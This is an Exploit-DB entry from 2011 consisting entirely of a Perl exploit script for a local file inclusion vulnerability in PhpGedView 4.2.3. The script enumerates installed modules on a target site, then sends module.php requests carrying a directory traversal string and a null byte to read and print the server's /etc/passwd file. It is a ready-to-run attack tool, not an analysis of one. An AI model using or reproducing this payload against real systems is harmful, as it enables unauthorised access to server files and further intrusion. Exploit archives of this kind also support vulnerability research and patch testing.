Exploit-DB #15913
Description: PhpGedView 4.2.3 - Local File Inclusion
Type: webapps
Platform: php
Date: 2011-01-05
Author: dun

Exploit:
#!/usr/bin/perl -w
 
#  :::::::-.   ...    ::::::.    :::.
#   ;;,   `';, ;;     ;;;`;;;;,  `;;;
#   `[[     [[[['     [[[  [[[[[. '[[
#    $$,    $$$$      $$$  $$$ "Y$c$$
#    888_,o8P'88    .d888  888    Y88
#    MMMMP"`   "YmmMMMM""  MMM     YM
#  [ Discovered by dun \ posdub[at]gmail.com ]
#
##################################################################
#  [ PhpGedView <= 4.2.3 ]  Local File Inclusion Vulnerability   #
##################################################################
#
# Script: "PhpGedView is a revolutionary genealogy program which
#          allows you to view and edit your genealogy on your website..."
#
# Script: http://www.phpgedview.net/
# Download: http://sourceforge.net/projects/phpgedview/
#
# Usage: perl expl.pl http://site.com/phpgedview/
#
##################################################################
#[ dun / 2011-01-05 ]

use IO::Socket;
use Socket;
use IO::Select;


my @modules; 

if(scalar(@ARGV) < 1) {
    print "\nUsage: perl expl.pl http://site.com/phpgedview/\n\n";
    exit;
}
 
print "\033[32m[1] \033[0mChecking installed PGV modules..\n";
@modules=get_modules_list($ARGV[0].'/modules/');
print "\033[32m[2] \033[0mTrying to read /etc/passwd file..\n";
p(\@modules, $ARGV[0].'/', '/etc/passwd');

sub http_query {

 my $page="";
 my $url=$_[0];
 my $ua="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)";
  if(defined($_[1]) && defined($_[2])) {
     $host=$_[1];
     $port=$_[2];
     $get="GET $url HTTP/1.0\r\n$ua\r\nConnection: Close\r\n\r\n";
  } else {
     $port=80;
     $url=~s/http:\/\///;
     $host=$url;
     $query=$url;
     $host=~s/([a-zA-Z0-9\.]+)\/.*/$1/;
     $query=~s/$host//;
     if ($query eq "") {$query="/";};

     $get="GET $query HTTP/1.0\r\nHost: $host\r\n$ua\r\nConnection: Close\r\n\r\n";
  }
 my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"$port",Proto=>"tcp",Timeout => 3) or return;
 print $sock $get;
 my @r = <$sock>;
 $page="@r";
 close($sock);
     
 return $page;
}

sub get_modules_list {
 my $host = $_[0];
 my $page="";
 my @modules1=(
  "FCKeditor",
  "GEDFact_assistant",
  "JWplayer",
  "batch_update",
  "cms_interface",
  "gallery2",
  "googlemap",
  "lightbox",
  "punbb",
  "research_assistant",
  "sitemap",
  "slideshow",
  "wordsearch"
 );

 $page = http_query($host);
 while($page =~ m/(.*)<(a|A)\s(href|HREF)="([^\/]+)\/">/g){
  push (@modules2, $4);
 }
 if(@modules2) {
  print " Installed modules: @modules2\n";
  return @modules2;
 } else {
  print " No info about installed modules..\n";
  return @modules1;
 }
}

sub p {
 my($mods, $host, $file)=@_;
 my $page="";
 foreach $r(@{$mods}) {
	$q="$host"."module.php?mod=$r&pgvaction=".("/.."x10)."$file%00";
	$page=http_query($q);
	@lines = split (/\n/, $page);
	if($page=~ m/(.+):.:\d+:\d+:(.*):\/(.+):\/(.*)/g){
	 print "\033[32mModule: $r\n";
	 print "Adress: $q\n";
	 print "File:   /etc/passwd:\033[0m (Press ENTER) ";
	 if(<STDIN>) {
	 print "\n\n";
	  for(@lines) {
	   if($_=~ m/(.+):.:\d+:\d+:(.*):\/(.+):\/(.*)/g){
		print $_."\n";			
	   }
          }
	 }
	return 0;
	}
 }
 print "\033[31mFailed :(\033[0m\n"
}

##################################################################